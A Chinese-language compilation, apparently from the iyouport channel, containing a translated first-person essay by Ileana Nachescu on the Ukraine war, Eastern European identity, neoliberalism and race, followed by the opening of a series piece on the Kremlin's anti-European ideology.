争吵和算计似乎已经降临到欧洲国家，所有这些国家无疑都与俄罗斯人达成了不同数量的附带交易，这是令人悲哀的事实。这些安排被揭露的可能性并不令人愉快。美国提出冻结俄罗斯使用SWIFT代码和以美元进行交易的能力，可能正是因为这个原因而遭到了很多人的反对。

事实上，如果普京只是在寻找一种转移注意力的方法，使他的办公时间更有趣，那么他现在可能会相信，他可以轻松地攫取他所掌握的一切，而不必担心受到这批西方领导人的惩罚。

拜登政府表示，美国不会在乌克兰部署地面部队，这一承诺不是为了欧洲人，而是为了美国人，他们已经受够了战争，正在处理（有人会说）他们自己国内的近乎内战的问题。

另一方面，在乌克兰本身，人们对所有的战争言论感到沮丧。在处理了不断的战争和俄罗斯的威胁之后，乌克兰人似乎已经找到了对普京和他的欧洲统治妄想的最好解读。1月底，乌克兰国防部长奥列克西·雷兹尼科夫责备了所有人，要求他们停止对战争的炒作。他指出，俄罗斯人还没有组成一个“打击小组”以便他们能够实施入侵。在一天前发表的一篇专栏文章中，他表示，俄罗斯只是在散播恐惧和恐慌，以破坏乌克兰的稳定。

虽然这并不意味着入侵是不可能的，但在当时看来，战争和入侵的传言的确被夸大了。但究竟是不是这样？整个欧洲都在看向普京。这对普京来说是一个伟大的时刻。这就是他想要的荣耀感。

此外，关于主流媒体如何推动了战争威胁的叙事矩阵，可参见媒体批评组织*FAIR*的这篇分析《*What You Should Really Know About Ukraine*》。○□

原文

乌克兰：超越后苏联时代 - iyouport

乌克兰战争

这场战争是由全球新自由主义、性别歧视和种族主义塑造的 - - 不仅仅是冷战动态。

【注】本文作者 Ileana Nachescu 是一位作家和学者。她在社会主义的罗马尼亚长大，在结束国家社会主义和齐奥塞斯库的独裁统治的起义中长大。她作为一名国际研究生来到美国，并完成了妇女研究的博士学位。她的文章曾出现在《密歇根季刊》、《暴风雨》、《阿提克斯评论》和其他地方。她目前正在创作一部长篇小说集《社会主义童年回忆录》。

本文将以第一人称叙述。

📌 如果您错过了我们的 “乌克兰系列” ，可以在下面回顾：

- 《一个 “赚大钱的完美机遇” 1》
- 《多元化主流 2》
- 《当你处在双面夹击的火力之下 3》
- 《”反对所有边界，抵制所有帝国，对抗所有战争”—东西方冲突中的乌克兰 4》
- 《“人民的自由，帝国去死”—俄罗斯无政府主义者对局势的分析 5》
- 《俄罗斯的选择，和这一切灾难的根源：乌克兰系列 6》
- 《这一次，不成功便成仁：乌克兰战争 7》
- 《制裁的”作用”是什么？：乌克兰战争 8—从“伦敦格勒”到北京》
- 《从北京到世界：乌克兰战争(9) - 一个危机重重的新全球格局》

“俄罗斯人和乌克兰人实际上很了解对方。这也许是这场反常的、完全不必要的战争中最可悲的讽刺”，乌克兰记者娜塔莉亚·古梅纽克写道，“我们彼此知道对方的心理。我们理解对方的语言。我们有着共同的苏联历史”。

古梅纽克的比较强调了两个如此看似相似的国家可以有多么地不同。

这两个国家的共同点让许多外国评论家感到困惑，并由此产生了很多误解。以电影乡下人的悲歌 (Hillbilly Elegy) 而闻名的詹姆斯·戴维·万斯，和美国国会议员亚历山德里娅·奥卡西奥·科尔特斯在政治上没有什么共同点，但他们最初都同意，乌克兰的战争不值得美国军事干预。他们似乎认为，这只不过是一些东欧人与其他东欧人之间的战斗，是一场局部的冲突。虽然他们后来都改变了自己的观点，但他们短暂的一致性强调了西方对乌克兰的误解有时会幻想出怪异的关系。

对战争的报道主要由来自西方的白人、以男性面孔主导，这当然没什么帮助。很少有外国名字，甚至更少有口音。如果对乌克兰人进行采访，他们通常是扮演含泪的、惊恐的证人角色。他们很少作为自己的历史专家出现。在这些被忽略的人中，有数百万在后社会主义时期的移民潮中来到西方的东欧人，他们远远超过了20世纪80年代作为难民到来的少数人。那些早期的群体受到赞誉，只因为他们关于“社会主义”创伤的叙述在冷战的背景下显得很恰当。然而，较新的移民，是由于东欧社会向新自由主义资本主义开放后遭受的巨大冲击，而被带到西方，这些人在很大程度上被忽视了。

在很大程度上，由于这些沉默，对这场战争的巨大误解在很大程度上没有得到遏制，即 认为“它仅仅是自相残杀，是冷战的续集，演绎着从苏联时代开始的沸腾的怨恨”。实际上，东欧和世界上任何地区一样被全球力量所塑造：新自由主义资本主义、父权专制主义和其他形式的性别歧视、种族主义和全球移民（由所有前述内容构成）都与这场战争的根源深深纠缠在一起。只有通过超越“自由的西方”与“专制的东方”这种过时的二分法来理解东欧，我们才能开始把握战争的意义，并想象新的团结。

虽然这场冲突是在国家层面上进行的—— 而诸如欧盟和北约这样的跨国实体在背景中徘徊 —— 但将这场战争放在东欧作为一个地区的背景下思考，是至关重要的。

在下文中，我将重温我把东欧作为一个自己的世界，有自己的规则、主题和限制的经历。2000年，在社会主义结束大约十年后，我参加了在乌克兰哈希夫 (Хащів) 举行的福罗斯暑期学院，当时俄罗斯和乌克兰都还对来自西方的新事物持开放态度，知识分子在经过多年的被审查后，正开始尝试与他们的西方同事进行对话。20年后，尽管有经济和军事联盟，东欧仍然不是西方，也不是“第三世界”，它以自己的方式体验全球的问题。

出租车转弯以避开一辆从相反方向驶来的汽车，它的车灯让我们有一瞬间的失明。我试着看了看表，猜测我们还有多长时间才能到达。我们的方向对了吗？迷路了吗？无法判断。道路已经从辛菲罗波尔外的一条双车道公路变成了一条被树林包围的更窄的路。我知道这次旅行将持续一个多小时，只是没有预料到会是在完全黑暗的情况下。我没有理由不信任出租车司机，但我也无法与他交流。他不会说英语、罗马尼亚语、法语，甚至德语。而我不会说俄语或乌克兰语。那是2000年的夏天，当时还没有手机。我在一个我不懂语言的外国，在一条荒凉的路上，在黑漆漆的夜晚，坐在一个我不认识的人驾驶的车里。我不断告诉自己，我在晚上被绑架的可能性并不比白天更大。这个想法并没有带来什么安慰。

我终于看到了一簇灯光，原来是一条街道，不远处还有一栋高楼。司机把车停了下来，帮我拿着行李。我们穿过一个花园，走在一条由装饰灯笼照亮的蜿蜒小路上。我可以听到不远处的海浪声。我呼吸着黑海的微风。我来到了我的目的地，第四届福罗斯性别研究暑期学院。

该活动由哈尔科夫性别研究中心在麦克阿瑟基金会的资助下，在黑海上的克里米亚度假小镇福罗斯举办，旨在将性别研究作为后苏联国家的一门学科。在1997年至2008年的十多年间，该活动每年都会举办。它鼓励整个东欧的教员教授性别研究课程并组织学术中心。哈尔科夫中心出版了一本杂志和一套丛书，并分发了由暑期班学员制定的教学大纲。我在自己的母校创办了一个女性研究中心，事实上，我在布达佩斯的中欧大学度过了一年后，正处于过渡期，那是一段幸福的时光，我想读什么就读什么，也是第一次可以访问美国的图书馆。我期待在这个暑期学院找到社区。事实上我找到的东西比期待的更多。

从来没有人认为我同时是“西方人”和罗马尼亚人，但这正是那个夏天发生的事。大多数与会者来自前苏联共和国—— 乌克兰、俄罗斯、格鲁吉亚、白俄罗斯—— 而我们这些来自后苏联空间之外的人被视为非常与众不同。如果我分享一块巧克力或一支香烟，我的同事就会送来赞许的目光。还有三位来自后苏联空间以外的学生，两个来自捷克共和国的年轻学者，我很羡慕他们优雅的英语，还有我的室友塔尼娅，我和她很快就成了朋友。她告诉我，她教了一门曾经两次不存在的学科：南斯拉夫经济学。那是在巴尔干战争之后。

社会主义历史的残余在酒店的野蛮主义建筑和家具上表现得很明显，可以说是社会主义的美好。酒店的阳台可以俯瞰黑海，宽阔的阳台不仅可以放置桌子和椅子，还可以放置一张床，这样人们就可以躺在这里听着海浪声入睡。酒店有一个疗养院，这让我想起了社会主义时代我和祖父母一起度假的情景，如果有医生的介绍，一些服务，如泥浆

浴、水疗和矿泉浴就可以是免费的。在社会主义时期，我的祖父母和父母以及我认识的几乎所有人都去过疗养院，享受这种治疗，通常由他们的工会支付。疗养院的医生给了我一个推荐信，我就享受了酒店的矿泉浴。

参加暑期学校的学者们大多是职业生涯初期或仍在读研究生，就像我一样—— 包括社会学家、历史学家和经济学家。他们来自第比利斯和圣彼得堡、哈尔科夫和莫斯科。会议的语言是俄语和英语，每天上午有一个讲座，下午有一个讨论。在一个被海风冷却的房间里，我们中的一些人坐在地板上，另一些人则坐在椅子和沙发上，在炎热的天气里用我们必须阅读的文章的复印件当扇子为自己扇风。我们可以使用复印机、图书馆和打字机，我们还收到了书籍和装订好的论文集，在大多数情况下，这些都是我们自己的机构无法负担的。

一些支持研讨会的学者曾与 Women in Black 运动有联系，这是一个松散的和平活动家网络，曾抗议对巴勒斯坦的占领和前南斯拉夫的战争。我们知道，民族主义及其父权制的基础是敌人，鉴于我们地区复杂的历史，这是一个恰当的信息。我记得一场充满笑声的漫长辩论，讨论的是斯洛博丹·米洛舍维奇、弗拉基米尔·普京（当时正处于他的第一个总统任期）和弗拉尼奥·图季曼等民族主义领导人的所谓“阳刚之气”的表现。我们了解到，女性给他们寄去了情书和自己的裸体照片。与人们不得不对社会主义领导人、国家的“国父”表达所谓的革命之爱相比，我们的研讨会不正是一种进步吗？讨论在晚餐时继续进行，我们大笑并抽着烟，尽管我们中的一些人说的不是同一种语言—— 一些人懂英语，另一些人懂俄语或乌克兰语，还有一些其他语言—— 但很明显，我们有许多共同的历史经历。https://t.me/iyouport/10214

20年后，东欧已经被分割了好几次：一些国家加入了欧盟，另一些国家加入了北约，还有一些国家一直处于这些空间的边缘。虽然克里米亚在2014年被吞并，但福罗斯疗养院仍然接受预订。乌克兰的女权主义者一直在继续他们的工作。现在所有主要大学都有妇女研究中心。然而，在俄罗斯，异议被压制了，正如女权主义朋克摇滚乐队 Pussy Riot 的成员在抗议普京与东正教会的紧密联系时所遭遇的那样。

30年的全球新自由主义资本主义也产生了前所未有的财富积累，尤其是白人男性。历史上任何时候，地球上的财富都没有如此高度集中在如此少数的白人男性手中。并非所有这些人都对将他们的巨大财富与政治权力结合起来感兴趣，但这只是一个运气和利用的问题：今天他们正在发射一枚由穿着燕尾服风格的宇航员操纵的火箭，明天他们可能决心利用媒体将他们最离奇的幻想播撒在数百万人的心中。今天他

们正在为他们的女朋友建造与山巅一样大的豪华游艇，明天，他们就可能会决定入侵一个拥有4000万人口的国家。谁能阻止他们？https://t.me/iyouport/10189

https://t.me/iyouport/10388

当然，过去也有独裁者对其臣民积累了无法控制的权力，也有一些人通过许多人的痛苦积累了难以想象的财富。但是，我们当代寡头的财富规模之大，使得任何与过去的比较都变得无关紧要了。然而，他们也是人类，我们需要提醒自己这点，他们是性情无常的老者，小气、爱发牢骚、爱操纵，但毕竟不一定能比其他人类更有智慧。然而，由于权力，他们的奇思妙想可以摧毁数百万人的生活。

普京的行为只能被正确地理解为是这些寡头之一的行为。虽然他的个人财富隐藏得很好，且可能超过2000亿美元，这将使他成为地球上排名前三的最富有的男人之一。因此，普京与其说是某种专制历史的产物，不如说是共产主义遗产的产物，毕竟共产主义在30年前就结束了。他同时也是新自由主义资本主义的产物，他的行为可以理解为与资本主义的积累逻辑相一致。

自尼古拉·齐奥塞斯库（Nicolae Ceaușescu）的最后时刻以来，从来没有一个独裁者听起来如此地不正常，如此自欺欺人，如此与现实开战。1989年12月，齐奥塞斯库坚称外国特工在操纵原本顺从的民众，而这些民众只想要社会主义和他的领导，而工人就在他发表最后讲话的阳台外抗议他的统治。没有什么能刺穿他的信念 —— 甚至，显然，直到他被带到行刑队面前。同样，没有什么能戳穿普京关于吸毒者、纳粹分子和性变态者据称威胁到俄罗斯边境的巴洛克式想法 —— 也没有什么能戳穿战争的普遍借口，即 编造的关于另一方的侵略行为。

同样，我们必须认识到，这不是一场“俄罗斯”的战争，这是普京的战争。非营利性监督机构“记者无国界”将俄罗斯的新闻自由度在180个国家中排名第150。然而，在俄罗斯有近6000人在反对战争的抗议中被逮捕。《新报》(Novaya Gazeta)以乌克兰语出版周五版，以示反抗，普京警告其主编、诺贝尔和平奖得主德米特里·穆拉托夫，国际奖项不会保护他。俄罗斯女权主义者也一直在呼吁抵制战争，概述了战争是如何影响大部分平民和妇女的。https://t.me/iyouport/10285

毕竟，富人总是有办法避免战争的危险。富裕的乌克兰人已经能够乘坐私人飞机离开自己的国家；他们很可能已经拥有多个公民身份，在任何地方都不需要难民身份。在另一边，正是最贫穷的俄罗斯人充实

了军队的队伍，他们来自没有资源或关系的家庭，无法避免义务兵役。美国制裁造成的通货膨胀，拜登政府希望能借此在某种程度上影响俄罗斯的寡头，已经开始对普通俄罗斯人的生活造成严重破坏。普通的乌克兰人正徒步逃离他们被围困的国家，手里拿着自己仅有的一点点财物。https://t.me/iyouport/10182

https://t.me/iyouport/10410

https://t.me/iyouport/10242

阶级分析是我们在福罗斯暑期学校中出人意料地没有出现的东西。我们讨论了妇女历史、性别社会学、后结构主义和女权主义理论，并阅读了克罗地亚女权主义者斯拉文卡·德拉库利奇等女性作家。然而，贫穷是我们所有人的共同经历，却从未被讨论过。在我们国家发生的经济转型也没有被讨论。我们没有对新自由主义进行批判，尽管我们都是新自由主义的前线受害者。

我当时的梦想是去西方旅行，比如住在巴黎或伦敦，参观科隆和哥本哈根，米兰和巴塞罗那。由于缺乏资金，这个梦想从来没有实现过——即使我有钱，我也没有签证，而当时我需要签证才能去西方旅行。我的东欧同事都破产了。我们挣扎着用微薄的工资支付账单，从慷慨的西方同事分享的复印件中阅读后结构主义理论。就像穷人们经常做的那样，我们开始迷恋神秘经济所带来的希望。朋友们会尝试最离奇的计划，突然有一段时间，有人会赚钱，没有人知道到底是怎么赚的，每个人都想知道。但是，大多数尝试这些快速致富计划的人最后只是变得更糟了，失去了他们的储蓄，有时甚至失去了自己的家园。

在福罗斯暑期学校的最后一天，我们去了克里米亚最大的城市——塞瓦斯托波尔。我走在通往海事博物馆的阳光大道上，在城市的老城区，地上的黄叶宣告着秋天的到来：那条街道，和其破败的外墙，就像很多地方一样，从斯普利特到塔尔图，从布拉格到圣彼得堡。在社会主义时期，它是过去的遗迹，我们并不关心 —— 社会主义毕竟建造了现代的、舒适的公寓楼。社会主义垮台后，这样的街道成了我们不可避免的贫穷的象征；只要我们能修复它们，那么我们就能与我们社会主义之前的荣耀重新联系起来，我们的城市就会像“西方”一样。但在那个下午，我看到了它们所怀念的、不完美的诗意。和我们一样，它们是见证者。

事实证明，我回到罗马尼亚后并没有一个全职职位在等着我。到了10月，我已经适应了三份兼职工作：管理一个关于家庭暴力的项目，在大学兼职教学，以及翻译。这样做，我能够拼凑出相当于150美元的

薪水。“美元”并不是对西方读者的事后翻译；这确实就是我们当时对自己的收入的理解。经过几年失控的通货膨胀，政府将列伊的价值减少了一万倍，使罗马尼亚的货币非常不稳定，因而太难以理解，无法思考。

我的收入很一般，按照当时罗马尼亚的标准，不算太差，尽管每份工作需要的时间比我最初想象的要多，除了工资之外，更像是一个全职岗位。我几乎没有时间睡觉。我记得我去超市买东西时感到很无助，因为我的一半工资都用来买酸奶、面包、意大利面和苹果了。到了月底，我不得不借钱生活，但我想，其他人也是如此。

而且，在当时，罗马尼亚人的收入远远高于他们在东方的同事，无论是俄罗斯人还是乌克兰人。我了解到，格鲁吉亚人每月仅靠相当于15美元的收入生活，而且每天只有几个小时的电力供应。

“你是说50美元吗？”我记得我这样问道。

“不，15美元”，那个女人回答。

那一年是2000年。那时，所有国家的社会主义都已经结束十年了。关于任何改善的想象都毫无理由。

我开始向设有妇女研究博士项目的美国大学递交申请。我对其他事情不感兴趣。在我寄出四份厚厚的申请书的几个月后，我的雅虎邮箱收到了一封简短的电子邮件：我已经被一个博士项目录取为研究生，我将获得为期四年的助教职位。消息的署名是一位美国教授，她对我以姐妹相称。我想表示感谢，但我无法想象任何一种平等能够克服我们之间的地位差异，无论是在行动自由、权力还是财富方面。

当时，我也还不了解东欧人对白人的不稳定控制，以及它如何让我们陷入权力和缺乏权力的复杂的中间空间。现在，我意识到，如果不反思种族的作用，就根本无法理解乌克兰的战争以及西方对它的反应。学者们为与白人相邻的种族化类别创造了各种名称，但也许理解东欧人所代表的种族悖论的最简单方法是：理解我们是白人，但不是西方人。这种白色也许在作为反对罗姆人的大棒时最为明显，罗姆人是乌克兰的一个少数民族，在该地区有着漫长而痛苦的被剥削的历史，包括五百年的奴隶制。

然而，非西方的地位显示了我们在全世界的无力感。“相对文明”、“相对欧洲”，查理·达加塔在CBS新闻上这样说，这个非同寻常的声明（虽然他已经为此道歉）向我们直截了当地展示了在西方人眼中的全

球等级制度。一方面，“文明的” 和 “欧洲的”，比来自全球其他地区的有色人种更 “像我们”（西方人），例如，叙利亚难民危机，仅仅在几年前就得到了非常不同的新闻报道；而另一方面，东欧国家被认为只是 “相对” 文明，只是 “相对” 欧洲，只有在与其他人 —— 有色人种、其他宗教的人 —— 进行的比较中，乌克兰人才会被承认为可以被西方接受，然后它就会处于某种服从的地位。

泽连斯基（Volodymyr Zelenskyy）总统说，乌克兰正在为成为 “欧洲的平等成员” 而奋斗，这相当不可能实现，即使乌克兰在欧盟的成员资格奇迹般地被快速推进。从其他前社会主义国家的经验来看，即使加入欧盟也不一定会带来繁荣，大多数东欧国家都经历了连续的移民潮。东欧家庭有成员生活在三个或四个不同国家的情况相当普遍，这是对社会主义结束后开始的社区联系的进一步解体。只有极少数波兰和罗马尼亚公民从欧盟中获得了经济利益；而许多人仍然很贫困。在国外工作的能力可能减轻了贫困的最坏影响，但它却导致了人才流失，因为东欧国家的医生和护士正在流失到西方国家，而西方国家并没有对他们的教育进行投资。在欧盟，东欧工人仍然被视为不受欢迎的二等或三等公民，尽管他们对当地经济是很必要的。在疫情最严重的时候，罗马尼亚的农业工被空运到德国，在不卫生、不安全的条件下在农场工作。

因此，这场战争的答案并不是回到不加批判地使用 “自由世界” 这样的表述。正如普京不仅是后社会主义的产物，并且主要是贪婪的新自由主义的产物一样，乌克兰不仅是一个后社会主义国家，它也是全球移民线路的一部分。逃离该国的难民中不仅有乌克兰人和罗姆人，还有印度学生和各种背景的乌克兰黑人。“东方”与“西方”的旧框架没有考虑到种族化的经验，也没有考虑到一部分乌克兰人可以希望获得的白人特权的程度，而其他乌克兰人却不能。然而，只有考虑到种族，考虑到种族化语言对经验和痛苦的排序方式，以及驳斥那种衡量谁 “值得同情” 的标准（特别是通过衡量他们与白人的接近程度的那类标准），我们才能走向真正的民主，一个不分肤色和无所谓原籍国的任何人都可以体验的民主。

2月27日星期日，拥有三十八所大学并具有前瞻性的性别研究中心的哈尔科夫，遭到了俄罗斯人的火箭炮攻击。平民不是职业军队的对手。

我开始写这篇文章时，只是希望战争消失，担心乌克兰可能成为美国人在本世纪无休止战争的下一个实例。导弹摧毁了公寓楼，拆毁了基础设施，平民在爆炸的混凝土碎片中寻找自己之前的生活遗迹 —— 这些图像令人心碎地熟悉。战争已经在破坏乌克兰城市的生活环境。

留在哈尔科夫的平民认为自己很幸运，如果他们住在靠近杂货店的地方，可以冒险出去买点东西。站在美国的安全地带，我唯一能问的问题是：为什么美国的军事帮助还没有在前往乌克兰的路上？

而后社会主义空间的区域团结正在再次出现。Pussy Riot 最近在推特上发布了一段哈尔科夫被炸毁的研究中心的视频，回忆起性别研究中心是他们第一次阅读女权主义书籍的地方。乌克兰难民正在摩尔多瓦、罗马尼亚、斯洛伐克、匈牙利和波兰找到庇护所，前两个国家与乌克兰的边界最长，被认为是欧洲最贫穷的国家。他们的努力是必要的，而英国、西欧国家和美国等较富裕的国家仍在等待决定他们是否会做出贡献以及做出哪些贡献。

有报道称，在边境地区发生了种族主义事件。战争和灾难放大了已经存在的等级制度和脆弱性；LGBTQ难民的生命受到了多重威胁。不幸的是，很多在后社会主义框架下运作的东欧籍主流知识分子回避了对西方国家的任何批判，但是东欧新一代的学者和活动家，多元文化支持者和女权主义者，已经准备好了接受一种反种族主义的政治，这种政治是全球性的，它以最弱势的人的需求为中心，相互交叉。有色人种的记者已经表明，将种族类别放在分析的最前沿，对于理解该地区至关重要。

从东欧的二等公民身份、非西方白种人和新自由主义资本主义下的贫困的历史经验中，应该出现一种新的团结形式，一种与各地的贫困人民和有色人种相联系的团结形式，从第一世界到第三世界。与其要求只能暂时和部分授予的“白人”或“文明”，无论这意味着什么，从边缘，我们完全可以要求结束世界各地的寡头统治，结束新自由主义资本主义，为所有人带来真正的民主和自由。〇

Ukraine: Beyond the Postsoviet

原文

俄罗斯的选择，和这一切灾难的根源：乌克兰系列 6️⃣ iyouport

乌克兰战争

请记得战略目标始终是：终结帝国，终结暴政，实现真正的民主。

普京是精神错乱了吗？或者他是不是吃了什么不消化的东西？再或者，他是不是得了什么绝症，要拉整个世界陪葬？…… 哦不，要是真的能如此简单反倒太好了。那么这究竟是怎么回事？驻敖德萨的乌克兰武装部队。

📌 欢迎回来！这里是乌克兰系列第6集。如果您错过了前面的部分，可以在下面回顾：

- 《一个 “赚大钱的完美机遇” 1️⃣》
- 《多元化主流 2️⃣》
- 《当你处在双面夹击的火力之下 3️⃣》
- 《”反对所有边界，抵制所有帝国，对抗所有战争”—东西方冲突中的乌克兰 4️⃣》
- 《“人民的自由，帝国去死”—俄罗斯无政府主义者对局势的分析 5️⃣》

在前5集内容中，我们讲述的基本都是反抗斗争。统治阶级用战争取代革命，让人民互相厮杀，以成就他们自己病态的权力春梦。反抗者必须明白，仅仅终止战争回到谈判桌前，很可能无法改变暴政以解决问题；真正的反战是重新唤醒革命的力量。

这就是为什么我们搁置了对大部分前因后果的讲述。

现在终于有时间仔细讲述背景了，关于，为什么普京一个人下台是没什么用的。将全部责任归于一人的便捷方法，只会错过真正的解决方案。

请记得战略目标始终是：终结帝国，终结暴政，实现真正的民主。希

腊，塞萨洛尼基，反战抗议活动。是上面写的是：**“Neither with Russia nor with NATO—long live the global proletariat!”** 这句话也是西方反战左翼的共识，即：为了人民，而不是政权。

下图中这个帖子发布于3月1日，据消息人士称，这一观点在俄罗斯社会正在逐渐形成小范围的共识。如果属实，这意味着部分人正在转向重要的思考，这是一个好的迹象。虽然目前看，还不足以形成改变的动力。

推荐您首先阅读这段文字，将帮助您理解本文下面的内容。

以下文字将尽可能简要地解释所有这一切的背景。关于：

- 俄罗斯人仇恨西方是真的吗？为什么？
- 克里姆林宫领导层宣布战争是为“保护俄罗斯的国家利益”，但究竟什么是俄罗斯的国家利益？
- 为什么他们不允许乌克兰加入北约？不，不是威胁性问题 ……
- 普京是在制造“下一个苏联”吗？你猜 ……

> 与他们*19*世纪的前辈不同，今天俄罗斯的反欧洲知识分子既没有与西方进行过对话，也没有意识到他们关于欧洲衰落的想法本身就是衍生的。

不可否认，欧盟与俄罗斯的关系正处于低谷。去年年初，莫斯科威胁要切断与欧洲集团的所有关系，而其外交部长则强烈地认为应该引用拉丁格言 ‘Si vis pacem, para bellum’—— “汝欲和平，必先备战”，以此来强调其国家的决心。随着目前乌克兰边境局势的升级，这种威胁现在似乎比欧洲许多人愿意相信的那般更加严重。

自然，所有的目光都集中在莫斯科和布鲁塞尔之间不断加深的裂痕所带来的政治和经济影响上。然而，较少有人注意到的是克里姆林宫的国际行为的意识形态方面。自从俄罗斯的克里米亚赌博和乌克兰东部的失败以来，莫斯科精英们的政治想象力就发生了巨大的变化。这一转变的核心是在精神上与欧洲保持距离。

没有任何官方文件能比2014年起草俄罗斯文化政策新概念过程中准备的文件更能体现克里姆林宫态度的巨大变化了。该备忘录的作者写道：“俄罗斯应被视为一种独特的、与众不同的文明，不能被归入西方（欧洲）或东方”。他们直截了当地补充说：“这一立场的简短表述是一个论题，即：俄罗斯不是欧洲，这已被国家和人民的整个历史所证实”。

“一个新的世界”

「图」

在过去的三到四个世纪里，俄罗斯对欧洲的看法以及两者之间的关系一直处于变化之中。在彼得林时代，俄罗斯的宫廷地理学家和历史学家在重新规划欧洲的边界方面发挥了作用。在将乌拉尔山脉作为欧洲的东部边界时，他们将俄罗斯帝国的大部分西部领土牢牢地置于旧大陆之内。此后成为彼得大帝和凯瑟琳大帝的欧洲化政策的象征性基础，凯瑟琳在1767年著名的 Nakaz 中宣布，“俄罗斯是一个欧洲国家”。

在接下来的两个世纪里，在俄罗斯的 “欧洲性” 问题上出现了大量曲折的故事。但到了苏联即将结束的时候，克里姆林宫似乎已经接受了凯瑟琳的公式。戈尔巴乔夫最喜欢的话题之一就是 “共同的欧洲家园”；叶利钦谈到 “重新加入欧洲文明”；直到2005年，弗拉基米尔·普京还认为，俄罗斯是 “一个欧洲大国”，在过去三个世纪中一直在 “与其他欧洲国家携手并进” 地发展和改变自己。

然而，这些天来，克里姆林宫宣称，俄罗斯构成了一个不同于欧洲文明的 “自我维持的文明”。莫斯科的主要政治思想家认为，国家需要将自己从欧洲中心主义的观点中解放出来。

根据政治学家谢尔盖·亚历山德罗维奇·卡拉加诺夫（Sergey Alexandrovich Karaganov）的说法，“欧洲的 ‘衰落’ 已经被谈论了一个世纪了。现在，情况似乎已经达到了一个关键阶段”。卡拉加诺夫在俄罗斯领先的外交政策杂志 Rossiia v globalnoi politike 上撰文称，“欧盟内部的欧洲拒绝了许多基本的欧洲价值观，而这些价值观已经成为俄罗斯身份的一部分”。欧盟的 ‘新’ 价值观和意识形态——自信的民主促进、少数民族权利、女权主义、LGBT、黑人生活问题、Me Too 等等—— 被认为是 ‘有毒的’。因此，卡拉加诺夫总结说，现在是时候 “开始质疑[俄罗斯]对欧洲的一般文化和精神取向了，我们的欧洲之根”。

2021年2月，俄罗斯《新报》发表了一份题为《欧洲的奸淫2.0》的 “宣言”，也表达了类似的态度，尽管使用了更加丰富多彩的语言。该宣言的作者，高知名度的戏剧导演康斯坦丁·博戈莫洛夫（Konstantin Bogomolov）将当代欧洲的思想家描述为 “同性恋活动家、女性狂热者和生态精神病患者的侵略性组合”。由于他们模仿欧洲方式的传统，俄罗斯人 “已经甩掉了那辆驶向耶罗尼米斯·博斯式地狱的疯狂列车，在那里我们将遇到多元文化的性别中立的魔鬼”。博戈莫洛夫的

建议很直接：“我们只需解开马车的缰绳，超越自己，开始建立一个新世界”。

俄罗斯学者断言，虽然俄罗斯在以欧洲为中心的世界中生活了至少300年，但是欧洲仍然将俄罗斯视为 “门口的野蛮人” 或 “永远的学徒”。现在，费奥多尔·卢基扬诺夫 (Fyodor Lukyanov)和阿列克谢·鲍里索维奇·米勒 (Alexey Miller)在俄罗斯外交和国防政策委员会主持的一份报告中争辩说，“欧洲将不得不认识到，它与俄罗斯的对话将不得不进行修改。不是因为这个永恒的学徒已经掌握了所有技能（或根本没有掌握）。这都不是关键问题了。原因很简单，那就是，并没有什么学徒，因为我们不再想成为行会成员，已经无所谓行会的认可”。

知识分子的两难处境

「图」

这里不打算全面分析俄罗斯的历史经验与 “欧洲” 的历史经验之间的关系，而是想提供两种理论，这对处理这个极具争议的问题很有帮助。第一个是由已故的史学家马丁·玛利亚 (Martin Malia)提出并发展的西-东 “文化梯度” 理论。这种理论否认存在一条将 “东方” 和 “西方” 分开的尖锐分界线，而是认为，随着人们在统一的欧亚大陆上的移动，会出现一种柔和的渐变。第二个理论是保加利亚史学家玛利亚·托多罗娃 (Maria Todorova)提出的 “长期发展中的相对同步性”。通过在现代性的统一结构中分析各种欧洲民族主义，托多罗娃避免了 “落后” 的话语，而是将 “东方”—— 东欧、巴尔干和俄罗斯—— 定义为欧洲共同空间的一部分。

虽然这肯定了俄罗斯的基本欧洲性，但是，这两种理论都没有否认其边缘地位。俄罗斯相对于欧洲的次要地位似乎是不可避免的，只因为它从未产生过自己的现代性观点，而是采用了欧洲的观点。

这种情况产生了一种痛苦的困境，在过去的200年里一直折磨着俄罗斯的知识分子—— 一个被称为知识分子的阶层。正如美国历史学家艾伦·波拉德所指出的，“创造 [俄罗斯知识分子] 意识的元素往往是西方的产物，因此，赋予知识分子理解力，从而赋予其本质的品质，也使其与民族生活疏远，而代表民族生活，正是其重要职能”。

对现代俄罗斯知识分子传统的衍生性质和国家对欧洲的文化依赖的认识，也与 “俄罗斯的伟大理念” 相冲突。在俄罗斯统治精英的想象中，俄罗斯在其大部分历史中都是一个替代性的权力中心，基本上是

在追求一个全球性的、普遍的 “项目”—— 无论是罗曼诺夫的东正教帝国还是苏联的共产主义帝国。俄罗斯作为一个 “学徒” 的想法使俄罗斯看起来是欧协的边缘户。

从泛斯拉夫主义将俄罗斯视为一种独特的 “文化历史类型”，到古典欧亚主义将俄罗斯重塑为一个自成一体的世界—— 在整个19世纪和20世纪，正是与这种双重困境的斗争激发了俄罗斯知识界关于民族和国际身份的讨论。在这些象征性地理学实践的基础上，*几代*具有民族意识的思想家都希望挑战普遍存在的欧洲中心主义观点，并主张俄罗斯作为一个自主文明的地位，拥有完全的主权，与任何其他欧洲大国一样（甚至优于）。

（下面这个视频在全世界以各种语言翻译并传播。但很遗憾，这不是共识，至少目前看不到共识，相反，它是特例）

与克里姆林宫有联系的意识形态学家目前正是从这个隐喻、意义、形象和俗套的宝库中汲取 “营养” 的。然而，当代俄罗斯诋毁欧洲的人完全忽视了这样一个事实：他们的十九世纪俄罗斯前辈们在为即将到来的 “欧洲堕落” 提供大量证据的同时，也参与了欧洲内部激烈的辩论。事实上，他们的知识结构在很大程度上就是欧洲思想的产物。詹姆斯·比林顿（James Billington）在其1966年的作品 “The Icon and the Axe” 中指出了一个在俄罗斯思想史上起着形成作用的 “重要现象”：“西方预言家向俄罗斯寻求实现在西方没有得到适当倾听的思想”。

在整个19世纪，欧洲神秘主义者、浪漫主义思想家、乌托邦主义者、反动派和保守的基督徒，如法国的弗朗索瓦·勒内·德·夏多布里昂、皮埃蒙特-撒丁岛的约瑟夫·德·迈斯特、西班牙的胡安·多诺索·科尔特斯和德国的卡尔·威廉·弗里德里希·施莱格尔，都是这些 “西方先知”。在与他们的俄国精神弟兄们进行激烈的思想对话的过程中，向他们灌输了欧洲衰落的世界末日形象。

